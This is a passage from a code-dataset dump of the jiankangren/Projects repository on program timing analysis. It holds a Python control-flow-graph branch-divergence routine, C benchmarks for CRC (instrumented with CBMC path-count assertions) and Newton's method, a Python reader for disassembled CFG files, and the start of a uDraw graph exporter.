def isBranchDivergentEdge (self, predID, succID):\n return (predID, succID) in self.__branchDivergentEdges\n \n def addBranchDivergenceEdges (self, lnt):\n # Look for forward branches\n forwardBranches = []\n for v in self:\n vertexID = v.getVertexID()\n if v.numberOfSuccessors () > 1:\n if not lnt.isLoopHeader(vertexID):\n backEdge = False\n for succID in v.getSuccessorIDs():\n if lnt.isLoopBackEdge(vertexID, succID):\n backEdge = True\n if not backEdge:\n forwardBranches.append(vertexID)\n else:\n forLoop = False\n loopBody = lnt.getLoopBody(vertexID)\n for succID in v.getSuccessorIDs():\n if succID not in loopBody:\n forLoop = True\n if not forLoop:\n forwardBranches.append(vertexID) \n if forwardBranches:\n self.__solveDFF(forwardBranches) \n \n def __solveDFF (self, forwardBranches):\n # Initialise data structures needed\n vertexToReachable = {}\n for v in self:\n vertexToReachable[v] = set([])\n \n # Do a reverse post-order. Avoid the entry vertex\n dfs = Trees.DepthFirstSearch(self, self._entryID)\n postID = self.numOfVertices() - 1\n while postID >= 1:\n vertexID = dfs.getPostorderVertexID(postID)\n v = self.getVertex(vertexID)\n vertexToReachable[v].add(vertexID)\n for predID in v.getPredecessorIDs():\n predv = self.getVertex(predID)\n vertexToReachable[v].add(predID)\n vertexToReachable[v].update(vertexToReachable[predv])\n postID -= 1 \n \n # Now analyse the immediate post-dominator \n reverseg = self.getReverseCFG()\n postdomTree = Trees.Dominators(reverseg, reverseg.getEntryID())\n for vertexID in forwardBranches:\n Debug.debugMessage(\"Vertex %d is a forward branch\" % vertexID, 5)\n branchv = self.getVertex(vertexID)\n succSet = set(branchv.getSuccessorIDs())\n treev = postdomTree.getVertex(vertexID)\n parentID = treev.getParentID()\n mergev = self.getVertex(parentID)\n Debug.debugMessage(\"Analysing region (%d, %d)\" % (vertexID, parentID), 5)\n# for succID in branchv.getSuccessorIDs():\n# if succID != parentID:\n# self.addEdge(parentID, succID)\n# self.__branchDivergentEdges.append((parentID, succID))\n for predID in mergev.getPredecessorIDs():\n predv = self.getVertex(predID)\n newsuccs = set.difference(succSet, vertexToReachable[predv]) \n for newsuccID in newsuccs:\n if newsuccID not in predv.getSuccessorIDs() and newsuccID != predID:\n self.addEdge(predID, newsuccID)\n self.__branchDivergentEdges.append((predID, newsuccID))\n " }, { "alpha_fraction": 0.4825071096420288, "alphanum_fraction": 0.5679317712783813, "avg_line_length": 26.886207580566406, "blob_id": "30abbd9b6629c72b20d3597c38305bad6d0a86d0", "content_id": "66fc4a3c9468ee588a4ac8cc464701722d54a568", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 8089, "license_type": "no_license", "max_line_length": 86, "num_lines": 290, "path": "/DaikonPathInformation/benchmarks/crc.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "#define TEST_VECTOR_SIZE 39\n#define LOBYTE(x) ((unsigned char)((x) & 0xFF))\n#define HIBYTE(x) ((unsigned char)((x) >> 8))\n\nunsigned short \nicrc1 (unsigned short crc, unsigned char onech)\n{\n #ifdef CBMC\n//==========> icrc1 : header 25\nint __count_21_22 = 0;\nint __count_21_23 = 0;\nint __count_25_21 = 0; //Loop counter\n//==========> icrc1 : header 20\nint __count_26 = 0;\nint __count_25_26 = 0;\n #endif\n\n int i;\n unsigned short ans = (crc^onech << 8);\n #ifdef CBMC\n __count_25_21 = 0;\n #endif\n for (i=0;i<8;i++) // 25\n {\n #ifdef CBMC\n __count_25_21++;\n #endif\n if (ans & 0x8000) // 21\n {\n #ifdef CBMC\n __count_21_22++;\n #endif\n // 22\n ans = (ans <<= 1) ^ 4129;\n }\n else\n {\n #ifdef CBMC\n __count_21_23++;\n #endif\n // 23\n ans <<= 1;\n }\n }\n #ifdef CBMC\n assert(__count_25_21 <= 9); // Loop counter property\n __count_25_26++;\n __count_26++;\n #endif\n\n#ifdef CBMC\nassert(__count_21_22 <= 8); // Upper capacity constraint\nassert(__count_21_23 <= 8); // Upper capacity constraint\nassert(__count_26 >= 1); // Lower capacity constraint\nassert(__count_26 <= 1); // Upper capacity constraint\nassert(__count_25_26 >= 1); // Lower capacity constraint\nassert(__count_25_26 <= 1); // Upper capacity constraint\nassert(__count_21_22 > 0 ==> __count_25_26 > 0); // Execution dependence\nassert(__count_21_22 > 0 ==> __count_26 > 0); // Execution dependence\nassert(__count_21_23 > 0 ==> __count_25_26 > 0); // Execution dependence\nassert(__count_21_23 > 0 ==> __count_26 > 0); // Execution dependence\n#endif\n\n return ans;\n}\n\nunsigned short \ncrc (unsigned short crc, unsigned long len, short jinit, int jrev, unsigned char* lin)\n{\n#ifdef CBMC\n//==========> crc : header 15\nint __count_11_12 = 0;\nint __count_11_13 = 0;\nint __count_15_11 = 0; //Loop counter\n//==========> crc : header 5\nint __count_3_4 = 0;\nint __count_5_3 = 0; //Loop counter\n//==========> crc : header 1\nint __count_19 = 0;\nint __count_1_6 = 0;\nint __count_5_6 = 0;\nint __count_7_10 = 0;\nint __count_8_9 = 0;\nint __count_8_10 = 0;\nint __count_16_17 = 0;\nint __count_16_18 = 0;\n#endif\n static unsigned short icrctb[256],init=0;\n static unsigned char rchr[256];\n unsigned short tmp1, tmp2, j,cword=crc;\n static unsigned char it[16]={0,8,4,12,2,10,6,14,1,9,5,13,3,11,7,15};\n\n if (!init) // 1\n {\n init=1;\n #ifdef CBMC\n __count_5_3 = 0;\n #endif\n for (j=0; j<=255; j++) // 5\n {\n #ifdef CBMC\n __count_5_3++;\n #endif\n icrctb[j] = icrc1 (j << 8,(unsigned char)0);\n rchr[j] = (unsigned char)(it[j & 0xF] << 4 | it[j >> 4]);\n #ifdef CBMC\n __count_3_4++;\n #endif\n }\n #ifdef CBMC\n assert(__count_5_3 <= 257); // Loop counter property\n __count_5_6++;\n #endif\n }\n #ifdef CBMC\n else __count_1_6++;\n #endif\n \n if (jinit >= 0) // 6\n {\n // 7\n #ifdef CBMC\n __count_7_10++;\n #endif\n cword=((unsigned char) jinit) | (((unsigned char) jinit) << 8);\n }\n else if (jrev < 0) // 8\n { \n #ifdef CBMC\n __count_8_9++;\n #endif\n // 9\n cword=rchr[HIBYTE(cword)] | rchr[LOBYTE(cword)] << 8;\n }\n #ifdef CBMC\n __count_8_10++;\n #endif\n \n #ifdef CBMC\n __count_15_11 = 0;\n #endif\n for (j=1; j<=len; j++) // 15\n {\n #ifdef CBMC\n __count_15_11++;\n #endif\n if (jrev < 0) // 11\n {\n #ifdef CBMC\n __count_11_12++;\n #endif\n // 12\n tmp1 = rchr[lin[j]]^ HIBYTE(cword);\n }\n else \n {\n #ifdef CBMC\n __count_11_13++;\n #endif\n // 13\n tmp1 = lin[j]^ HIBYTE(cword);\n }\n cword = icrctb[tmp1] ^ LOBYTE(cword) << 8;\n }\n #ifdef CBMC\n assert(__count_15_11 <= 43); // Loop counter property\n #endif\n \n if (jrev >= 0) // 16\n {\n #ifdef CBMC\n __count_16_17++;\n #endif\n // 17\n #ifdef CBMC\n __count_19++;\n #endif\n\n#ifdef CBMC\n//assert(__count_11_12 == 0); // Dead code\n//assert(__count_11_13 >= 40); // Lower capacity constraint\nassert(__count_11_13 <= 42); // Upper capacity constraint\nassert(__count_16_17 >= 1); // Lower capacity constraint\nassert(__count_16_17 <= 1); // Upper capacity constraint\nassert(__count_16_18 == 0); // Dead code\nassert(__count_19 >= 1); // Lower capacity constraint\nassert(__count_19 <= 1); // Upper capacity constraint\nassert(__count_1_6 <= 1); // Upper capacity constraint\nassert(__count_3_4 <= 256); // Upper capacity constraint\nassert(__count_5_6 <= 1); // Upper capacity constraint\nassert(__count_7_10 >= 1); // Lower capacity constraint\nassert(__count_7_10 <= 1); // Upper capacity constraint\nassert(__count_8_9 == 0); // Dead code\nassert(__count_8_10 == 0); // Dead code\nassert(__count_3_4 > 0 ==> __count_5_6 > 0); // Mutual inclusion\nassert(__count_5_6 > 0 ==> __count_3_4 > 0); // Mutual inclusion\nassert(__count_1_6 > 0 ==> __count_19 > 0); // Execution dependence\nassert(__count_1_6 > 0 ==> __count_7_10 > 0); // Execution dependence\nassert(__count_1_6 > 0 ==> __count_11_13 > 0); // Execution dependence\nassert(__count_1_6 > 0 ==> __count_16_17 > 0); // Execution dependence\nassert(__count_3_4 > 0 ==> __count_19 > 0); // Execution dependence\nassert(__count_3_4 > 0 ==> __count_7_10 > 0); // Execution dependence\nassert(__count_3_4 > 0 ==> __count_11_13 > 0); // Execution dependence\nassert(__count_3_4 > 0 ==> __count_16_17 > 0); // Execution dependence\nassert(__count_5_6 > 0 ==> __count_19 > 0); // Execution dependence\nassert(__count_5_6 > 0 ==> __count_7_10 > 0); // Execution dependence\nassert(__count_5_6 > 0 ==> __count_11_13 > 0); // Execution dependence\nassert(__count_5_6 > 0 ==> __count_16_17 > 0); // Execution dependence\n#endif\n\n return cword;\n }\n else \n {\n #ifdef CBMC\n __count_16_18++;\n #endif\n // 18\n #ifdef CBMC\n __count_19++;\n #endif\n\n\n#ifdef CBMC\n//assert(__count_11_12 == 0); // Dead code\n//assert(__count_11_13 >= 40); // Lower capacity constraint\nassert(__count_11_13 <= 42); // Upper capacity constraint\nassert(__count_16_17 >= 1); // Lower capacity constraint\nassert(__count_16_17 <= 1); // Upper capacity constraint\nassert(__count_16_18 == 0); // Dead code\nassert(__count_19 >= 1); // Lower capacity constraint\nassert(__count_19 <= 1); // Upper capacity constraint\nassert(__count_1_6 <= 1); // Upper capacity constraint\nassert(__count_3_4 <= 256); // Upper capacity constraint\nassert(__count_5_6 <= 1); // Upper capacity constraint\nassert(__count_7_10 >= 1); // Lower capacity constraint\nassert(__count_7_10 <= 1); // Upper capacity constraint\nassert(__count_8_9 == 0); // Dead code\nassert(__count_8_10 == 0); // Dead code\nassert(__count_3_4 > 0 ==> __count_5_6 > 0); // Mutual inclusion\nassert(__count_5_6 > 0 ==> __count_3_4 > 0); // Mutual inclusion\nassert(__count_1_6 > 0 ==> __count_19 > 0); // Execution dependence\nassert(__count_1_6 > 0 ==> __count_7_10 > 0); // Execution dependence\nassert(__count_1_6 > 0 ==> __count_11_13 > 0); // Execution dependence\nassert(__count_1_6 > 0 ==> __count_16_17 > 0); // Execution dependence\nassert(__count_3_4 > 0 ==> __count_19 > 0); // Execution dependence\nassert(__count_3_4 > 0 ==> __count_7_10 > 0); // Execution dependence\nassert(__count_3_4 > 0 ==> __count_11_13 > 0); // Execution dependence\nassert(__count_3_4 > 0 ==> __count_16_17 > 0); // Execution dependence\nassert(__count_5_6 > 0 ==> __count_19 > 0); // Execution dependence\nassert(__count_5_6 > 0 ==> __count_7_10 > 0); // Execution dependence\nassert(__count_5_6 > 0 ==> __count_11_13 > 0); // Execution dependence\nassert(__count_5_6 > 0 ==> __count_16_17 > 0); // Execution dependence\n#endif\n\n\n return rchr[HIBYTE(cword)] | rchr[LOBYTE(cword)] << 8;\n }\n}\n\nint\nmain (int argc, char *argv[])\n{\n /*\n * At least as many integers as the TV size\n */\n if (argc != TEST_VECTOR_SIZE + 1)\n {\n return 1;\n }\n \n unsigned char lin[256];\n int i;\n for (i = 0; i < argc-1; ++i)\n {\n lin[i] = argv[i + 1][0];\n }\n\n unsigned short i1,i2;\n unsigned long n = TEST_VECTOR_SIZE + 1;\n lin[n+1] = 0;\n i1 = crc(0,n,(short)0,1, lin);\n lin[n+1] = HIBYTE(i1);\n lin[n+2] = LOBYTE(i1);\n i2 = crc(i1,n+2,(short)0,1, lin);\n \n printf(\"%d\", i2);\n \n return 0;\n}\n\n\n" }, { "alpha_fraction": 0.47537609934806824, "alphanum_fraction": 0.5034074783325195, "avg_line_length": 19.571428298950195, "blob_id": "9338fbfd2bf1c4e2c90081e506209bd45a14baa0", "content_id": "40bf12ccbe163fc41c88febd596756b97d9ce041", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 7777, "license_type": "no_license", "max_line_length": 99, "num_lines": 378, "path": "/benchmarks/newtonMethod/newtonMethod.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "/*\n * \n * \n * The algorithm is an adapted version of the 'Globally Convergent Newton Method'\n * algorithm found on pages 480-483 in the book \"Numerical Recipes The Art Of Scientific Computing\"\n * Third Edition by William H. Press et al\n */\n\n#include <float.h>\n#include <math.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n#define XSIZE 3\n\ntypedef struct {\n\tint n;\n\tdouble lu[XSIZE][XSIZE];\n\tint indx[XSIZE];\n\tdouble d;\n} LUdcmp;\n\ndouble maxDoub(double a, double b)\n{\n\tif(a > b)\n\t{\n\t\treturn a;\n\t}\n\treturn b;\n}\n\nLUdcmp initialiseLUdcmp(double a[XSIZE][XSIZE]) {\n\tLUdcmp newLUdcmp;\n\tnewLUdcmp.n = XSIZE;\n\t\n\tint i, j;\n\tfor (i = 0; i < XSIZE; i++) {\n\t\tfor (j = 0; j < XSIZE; j++) {\n\t\t\tnewLUdcmp.lu[i][j] = a[i][j];\n\t\t}\n\t}\n\n\tconst double TINY = 1.0e-40;\n\tint imax, k;\n\tdouble big, temp;\n\tdouble vv[XSIZE];\n\tnewLUdcmp.d = 1.0;\n\n\tfor (i = 0; i < newLUdcmp.n; i++) {\n\t\tbig = 0.0;\n\t\tfor (j = 0; j < newLUdcmp.n; j++) {\n\t\t\tif ((temp = fabs(newLUdcmp.lu[i][j])) > big) {big = temp;}\n\t\t}\n\t\tif (big == 0.0) { exit(1);}\n\t\tvv[i] = 1.0 / big;\n\t}\n\t\n\tfor (k = 0; k < newLUdcmp.n; k++) {\n\t\tbig = 0.0;\n\t\tfor (i = k; i < newLUdcmp.n; i++) {\n\t\t\ttemp = vv[i] * fabs(newLUdcmp.lu[i][k]);\n\t\t\tif (temp > big) {\n\t\t\t\tbig = temp;\n\t\t\t\timax = i;\n\t\t\t}\n\t\t}\n\n\t\tif (k != imax) {\n\t\t\tfor (j = 0; j < newLUdcmp.n; j++) {\n\t\t\t\ttemp = newLUdcmp.lu[imax][j];\n\t\t\t\tnewLUdcmp.lu[imax][j] = newLUdcmp.lu[k][j];\n\t\t\t\tnewLUdcmp.lu[k][j] = temp;\n\t\t\t}\n\t\t\tnewLUdcmp.d = -newLUdcmp.d;\n\t\t\tvv[imax] = vv[k];\n\t\t}\n\t\tnewLUdcmp.indx[k] = imax;\n\t\tif (newLUdcmp.lu[k][k] == 0.0) {newLUdcmp.lu[k][k] = TINY;}\n\n\t\tfor (i = k + 1; i < newLUdcmp.n; i++) {\n\t\t\ttemp = newLUdcmp.lu[i][k] /= newLUdcmp.lu[k][k];\n\t\t\tfor (j = k + 1; j < newLUdcmp.n; j++) {\n\t\t\t\tnewLUdcmp.lu[i][j] -= temp * newLUdcmp.lu[k][j];\n\t\t\t}\n\t\t}\n\t}\n\treturn newLUdcmp;\n}\n\nvoid solveLUdcmp(LUdcmp l, double b[], double x[]) {\n\tint i, ii = 0, ip, j;\n\tdouble sum;\n\n\t//if (b.size() != l.n || x.size() != l.n)\n\t//\texit(1);\n\n\tfor (i = 0; i < l.n; i++) {\n\t\tx[i] = b[i];\n\t}\n\n\tfor (i = 0; i < l.n; i++) {\n\t\tip = l.indx[i];\n\t\tsum = x[ip];\n\t\tx[ip] = x[i];\n\t\tif (ii != 0) {\n\t\t\tfor (j = ii-1; j < i; j++) {\n\t\t\t\tsum -= l.lu[i][j] * x[j];\n\t\t\t}\n\t\t} else if (sum != 0.0) {\n\t\t\tii = i + 1;\n\t\t}\n\t\tx[i] = sum;\n\t}\n\n\tfor (i = l.n - 1; i >= 0 ; i--) {\n\t\tsum = x[i];\n\t\tfor (j = i + 1; j < l.n; j++) {\n\t\t\tsum -= l.lu[i][j] * x[j];\n\t\t}\n\t\tx[i] = sum / l.lu[i][i];\n\t}\n}\n\n/*\n\tThe routine requires a user-supplied function or functor that computes\n\tthe vector of functions to be zeroed. Its declaration as a function is:\n\tVecDoub vecfunc(VecDoub_I x);\n\t(The name vecfunc is arbitrary.) The declaration as a functor is similar\n\n\tThe vector of functions to be zeroed, called fvec[0..n-1] in the routine below,\n\tis returned by the user-supplied function or functor vecfunc.\n */\ndouble funcValues[XSIZE];\ndouble* vecfunc(double x[]) {\n\tint i;\n\t\n\tfuncValues[0] = (x[0] * 3) - 18;\n\tfuncValues[1] = (x[1] * x[1] * x[1]) + (-5 * (x[1] * x[1])) + (2 * x[1]) + 8;\n\tfuncValues[2] = (x[2] * x[2]) + (-5 * x[2]) + 6;\n\t/*for (i = 0; i < XSIZE; i++) {\n\t\tfuncValues[i] = (x[i] * (i + 1)) - (i + 1);\n\t}*/\n\n\treturn funcValues;\n}\n\ndouble fvec[XSIZE];\n// Returns f = 0.5F.F at x. ALso stores value of F in fvec\ndouble NRfmin(double x[]) {\n\tint n = XSIZE;\n\tdouble sum = 0;\n\tint i;\n\tdouble *fvectmp;\n\n\tfvectmp = vecfunc(x);\n\tfor (i = 0; i < n; i++) {\n\t\tfvec[i] = fvectmp[i];\n\t}\n\tfor (i = 0; i < n; i++) {\n\t\t//sum += SQR(fvec[i]);\t\n\t\tsum += (fvec[i] * fvec[i]);\n\t}\n\treturn 0.5 * sum;\n}\n\nvoid NRfdjac(double x[], double fvecIn[], double df[XSIZE][XSIZE]) {\n\tconst double EPS = 1.0e-8;\n\tint n = XSIZE;\n\tint i, j;\n\n\tdouble xh[XSIZE];\n\tfor(i = 0; i < XSIZE; i++) {\n\t\txh[i] = x[i];\n\t}\n\n\tfor(j = 0; j < n; j++) {\n\t\tdouble temp = xh[j];\n\t\tdouble h = EPS * fabs(temp);\n\t\tif (h == 0.0) h = EPS;\n\t\txh[j] = temp + h;\n\t\th = xh[j] - temp;\n\t\tdouble *f = vecfunc(xh);\n\t\txh[j] = temp;\n\t\tfor (i = 0; i < n; i++) {\n\t\t\tdf[i][j] = (f[i] - fvecIn[i]) / h;\n\t\t}\n\t}\n}\n\nvoid lnsearch(double xold[], const double fold, double g[], double p[],\n\t\t\tdouble x[], double *f, const double stpmax, int *check) {\n\tconst double ALF = 1.0e-4;\n\t// Library use DBL_EPSILON\n\tconst double TOLX = DBL_EPSILON;\n\n\tdouble a, alam, alam2 = 2.0, alamin, b, disc, f2 = 0.0;\n\tdouble rhs1, rhs2, slope = 0.0, sum = 0.0, temp, test, tmplam;\n\tint i, n = XSIZE;\n\n\t*check = 0;\n\tfor (i = 0; i < n; i++) {\n\t\tsum += p[i] * p[i];\n\t}\n\t// Library use: sqrt\n\tsum = sqrt(sum);\n\tif (sum > stpmax) {\n\t\tfor (i = 0; i < n; i++) {\n\t\t\tp[i] *= stpmax / sum;\n\t\t}\n\t}\n\n\tfor (i = 0; i < n; i++) {\n\t\tslope += g[i] * p[i];\n\t}\n\tif (slope >= 0.0) { exit (1); }\n\n\ttest = 0.0;\n\tfor (i = 0; i < n; i++) {\n\t\ttemp = fabs(p[i]) / maxDoub(fabs(xold[i]), 1.0);\n\t\tif (temp > test) {test = temp;}\n\t}\n\n\talamin = TOLX / test;\n\talam = 1.0;\n\tfor(;;) {\n\t\tfor (i = 0; i < n; i++) x[i] = xold[i] + alam * p[i];\n\t\t*f = NRfmin(x);\n\t\t\n\t\tif (alam < alamin) {\n\t\t\tfor (i = 0; i < n; i++) x[i] = xold[i];\n\t\t\t*check = 1;\n\t\t\treturn;\n\t\t} else if (*f <= fold + ALF * alam * slope) {\n\t\t\treturn;\n\t\t} else {\n\t\t\tif (alam == 1.0) {\n\t\t\t\ttmplam = -slope / (2.0 * (*f - fold - slope));\n\t\t\t} else {\n\t\t\t\trhs1 = *f - fold - alam * slope;\n\t\t\t\trhs2 = f2 - fold - alam2 * slope;\n\t\t\t\ta = (rhs1 / (alam * alam) - rhs2 / (alam2 * alam2)) / (alam - alam2);\n\t\t\t\tb = (-alam2 * rhs1 / (alam * alam) + alam * rhs2 / (alam2 * alam2)) / (alam - alam2);\n\t\t\t\tif (a == 0.0) {\n\t\t\t\t\ttmplam = -slope / (2.0 * b);\n\t\t\t\t} else {\n\t\t\t\t\tdisc = b * b - 3.0 * a * slope;\n\t\t\t\t\tif (disc < 0.0) tmplam = 0.5 * alam;\n\t\t\t\t\telse if (b <= 0.0) tmplam = (-b + sqrt(disc)) / (3.0 * a);\n\t\t\t\t\telse tmplam = -slope / (b + sqrt(disc));\n\t\t\t\t}\n\t\t\t\tif (tmplam > 0.5 * alam) {\n\t\t\t\t\ttmplam = 0.5 * alam;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\talam2 = alam;\n\t\tf2 = *f;\n\t\talam = maxDoub(tmplam, 0.1 * alam);\n\t}\n}\n\nvoid newtonMethod(double x[], int *check) {\n\tconst int MAXITS = 200;\n\tconst double TOLF = 1.0e-8, TOLMIN = 1.0e-12, STPMX = 100.0;\n\t// Library use DBL_EPSILON\n\tconst double TOLX = DBL_EPSILON;\n\n\tint i, j, its, n = XSIZE;\n\tdouble den, f, fold, stpmax, sum, temp, test;\n\tdouble g[XSIZE], p[XSIZE], xold[XSIZE];\n\tdouble fjac[XSIZE][XSIZE];\n\n\tf = NRfmin(x);\n\ttest = 0.0;\n\n\tfor (i = 0; i < n; i++) {\n\t\tif (fabs(fvec[i]) > test) test = fabs(fvec[i]);\n\t}\n\tif (test < 0.01 * TOLF) {\n\t\t*check = 0;\n\t\treturn;\n\t}\n\n\tsum = 0.0;\n\tfor (i = 0; i < n; i++) sum += x[i] * x[i];\n\tstpmax = STPMX * maxDoub(sqrt(sum), (double)n);\n\t\n\tfor (its = 0; its < MAXITS; its++) {\n\t\tNRfdjac(x, fvec, fjac);\n\t\tfor (i = 0; i < n; i++) {\n\t\t\tsum = 0.0;\n\t\t\tfor (j = 0; j < n; j++) {\n\t\t\t\tsum += fjac[j][i] * fvec[j];\n\t\t\t}\n\t\t\tg[i] = sum;\n\t\t}\n\t\t\n\t\tfor (i = 0; i < n; i++) xold[i] = x[i];\n\t\tfold = f;\n\t\tfor (i = 0; i < n; i++) p[i] = -fvec[i];\n\t\t\n\t\tLUdcmp alu = initialiseLUdcmp(fjac);\n\t\tsolveLUdcmp(alu, p, p);\n\n\t\tlnsearch(xold, fold, g, p, x, &f, stpmax, check);\n\t\ttest = 0.0;\n\t\tfor (i = 0; i < n; i++) {\n\t\t\tif (fabs(fvec[i]) > test) test = fabs(fvec[i]);\n\t\t}\n\t\tif (test < TOLF) {\t\t\t\n\t\t\t*check = 0;\n\t\t\treturn;\n\t\t}\n\t\tif (*check) {\n\t\t\ttest = 0.0;\n\t\t\tden = maxDoub(f, 0.5 * n);\n\t\t\tfor (i = 0; i < n; i++) {\n\t\t\t\ttemp = fabs(g[i]) * maxDoub(fabs(x[i]), 1.0) / den;\n\t\t\t\tif (temp > test) test = temp;\n\t\t\t}\n\t\t\tif (test < TOLMIN)\n\t\t\t{\n\t\t\t\t*check = 1;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t*check = 0;\n\t\t\t}\n\t\t\treturn;\n\t\t}\n\t\t\n\t\ttest = 0.0;\n\t\tfor (i = 0; i < n; i++) {\n\t\t\ttemp = (fabs(x[i] - xold[i])) / maxDoub(fabs(x[i]), 1.0);\n\t\t\tif (temp > test) test = temp;\n\t\t}\n\t\tif (test < TOLX) {\t\n\t\t\treturn;\n\t\t}\n\t}\n\texit(1);\n}\n\nint\nmain (int argc, char *argv[])\n{\n const int ARRAY_SIZE = argc - 1;\n double TV[ARRAY_SIZE];\n int i;\n int check = 0;\n\n /*\n * Expecting XSIZE arguments\n */\n if (argc != (XSIZE + 1))\n {\n return 1;\n }\n\n for (i = 0; i < argc - 1; ++i)\n {\n TV[i] = atof (argv[i + 1]);\n }\n\n newtonMethod(TV, &check);\n\n/*\n printf(\"Check value = %i\\n\", check);\n\n for (i = 0; i < argc - 1; ++i)\n {\n printf(\"%lf \", TV[i]);\n }\n printf(\"\\n\");\n*/\n\n return 0;\n}\n\n" }, { "alpha_fraction": 0.5222866535186768, "alphanum_fraction": 0.5278832912445068, "avg_line_length": 43.625, "blob_id": "946f90d83d404040b7625b33b3a7b021bf8daac0", "content_id": "7343ead99d6033ad2217c21eb6280efb2d448f36", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5003, "license_type": "no_license", "max_line_length": 107, "num_lines": 112, "path": "/DaikonPathInformation/src/program_input_output.py", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "import directed_graphs\nimport debug\nimport programs\nimport vertices\nimport shlex\nimport re\n\ncfg_lexeme = \"cfg\"\nbasic_block_lexeme = \"bb\"\nsuccessors_lexeme = \"succ\"\ninstructions_lexeme = \"instructions\"\n\nname_regex = re.compile(\"[\\d\\w]+\")\nint_regex = re.compile(r\"\\d+\")\nedges_regex = re.compile(r\"\\([\\w\\d\\s,]+\\)\")\nedge_tuple_regex = re.compile(r\"[\\w\\d]+\")\n\ndef write_disassembled_program_to_file(program, disassembly_filename):\n filename = disassembly_filename[:-4] + '.txt'\n with open(filename, 'w') as the_file:\n for cfg in program.cfgs.values():\n the_file.write(\"%s: %s\\n\" % (cfg_lexeme, cfg.name))\n for v in cfg:\n the_file.write(\"%s: %d\\n\" % (basic_block_lexeme, v.vertexID))\n the_file.write(\"%s: \" % successors_lexeme)\n if cfg.get_exitID() != v.vertexID:\n for succID in v.successors.keys():\n the_file.write(\"(%s, %d)\" % (cfg.name, succID))\n callee_name = cfg.is_call_site(v.vertexID)\n if callee_name is not None:\n the_file.write(\"(%s, %d)\" % (callee_name, program.cfgs[callee_name].get_entryID()))\n the_file.write(\"\\n\")\n the_file.write(\"%s\\n\" % instructions_lexeme)\n for instruction in v.instructions:\n the_file.write(\"[0x%08X]\" % instruction.address)\n for field in instruction.the_instruction:\n the_file.write(\" [%s] \" % field)\n the_file.write(\"\\n\")\n the_file.write(\"\\n\" * 2) \n\ndef first_pass(filename):\n # Partially build call graph\n program = programs.Program()\n with open(filename) as the_file:\n for line in the_file:\n line = line.lower()\n if line.startswith(cfg_lexeme):\n names = name_regex.findall(line)\n assert len(names) == 2, \"Too many names found '%s'\" % ' '.join(names)\n cfg = directed_graphs.CFG()\n cfg.name = names[1]\n debug.debug_message(\"Found new CFG '%s'\" % cfg.name, __name__, 1)\n program.addCFG(cfg)\n return program\n\ndef second_pass(filename, program):\n # Build the CFGs\n cfg = None\n bb = None\n instructions = False\n with open(filename) as the_file:\n for line in the_file:\n line = line.lower()\n if line.startswith(cfg_lexeme):\n names = name_regex.findall(line)\n assert len(names) == 2, \"Too many names found '%s'\" % ' '.join(names)\n cfg = program.cfgs[names[1]]\n elif line.startswith(basic_block_lexeme):\n assert cfg, \"Found basic block but current CFG is null\"\n ids = int_regex.findall(line) \n assert len(ids) == 1, \"Too many identifiers found '%s'\" % ' '.join(ids)\n assert ids[0].isdigit(), \"Vertex identifier '%s' is not an integer\" % ids[0]\n bb = vertices.BasicBlock(int(ids[0]))\n cfg.addVertex(bb)\n elif line.startswith(successors_lexeme):\n assert bb, \"Found edge but current basic block is null\"\n edges = edges_regex.findall(line)\n for edge in edges:\n a_tuple = edge_tuple_regex.findall(edge)\n assert len(a_tuple) == 2, \"Too many components in edge tuple: %s\" % edge\n assert a_tuple[1].isdigit(), \"Successor identifier '%s' is not an integer\" % a_tuple[1]\n if a_tuple[0] == cfg.name:\n bb.add_successor(int(a_tuple[1])) \n else:\n program.callg.addEdge(cfg.name, a_tuple[0], bb.vertexID)\n cfg.add_call_site(bb.vertexID, a_tuple[0]) \n elif line.startswith(instructions_lexeme):\n instructions = True\n # Ignore lines consisting of whitespace only\n elif instructions and not re.match(r'\\s+', line):\n assert bb, \"Found instruction but current basic block is null\"\n lexemes = shlex.split(line)\n address = None\n fields = []\n for index, lex in enumerate(lexemes):\n if index == 0:\n address = int(lex[1:-1], 16)\n else:\n fields.append(lex[1:-1])\n assert address is not None, \"No address found in instruction %s\" % line\n instruction = vertices.BasicBlock.Instruction(address, fields)\n bb.instructions.append(instruction)\n\ndef read_file(filename):\n program = first_pass(filename)\n second_pass(filename, program)\n program.callg.find_and_set_root()\n for cfg in program.cfgs.values():\n cfg.add_predecessor_edges()\n cfg.set_entry_and_exit()\n cfg.set_edgeIDs()\n return program \n" }, { "alpha_fraction": 0.5750219821929932, "alphanum_fraction": 0.5767809748649597, "avg_line_length": 30.236263275146484, "blob_id": "46ad13c5cd3a55bbae865b64fde4d0873b4df98a", "content_id": "3472bd4b0e62add85102e853f8547162de2925c6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5685, "license_type": "no_license", "max_line_length": 79, "num_lines": 182, "path": "/GPUTimingAnalysis/src/UDrawGraph.py", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "import CFGs, IPGs, Trees, Vertices, ICFGs\nfrom Main import opts\n\nfileNameSuffix = \".udraw\"\nbeginGraph = \"[\\n\"\nendGraph = \"]\\n\"\nendVertex = \"])),\"\nnewEdge = \"\\ne(\\\"tEdge\\\",\"\nendEdge = \")\"\nbeginAttributes = \"[\"\nendAttibutes = \"],\"\nnewLine = \"\\\\n\"\n\nclass COLOR:\n RED = \"red\"\n YELLOW = \"yellow\" \n BLUE = \"blue\"\n GREEN = \"green\"\n BLACK = \"black\"\n \nclass SHAPE:\n BOX = \"box\" \n CIRCLE = \"circle\"\n ELLIPSE = \"ellipse\" \n RHOMBUS = \"rhombus\" \n TRIANGLE = \"triangle\"\n \nclass EDGESHAPE:\n SOLID = \"solid\"\n DASHED = \"dashed\"\n DOTTED = \"dotted\"\n\ndef newVertex (vertexID):\n return \"l(\\\"v\" + str(vertexID) + \"\\\",n(\\\"tVertex\\\",\"\n\ndef edgeLink (vertexID):\n return \"r(\\\"v\" + str(vertexID) + \"\\\")\"\n\ndef setName (name):\n return \"a(\\\"OBJECT\\\", \\\"\" + name + 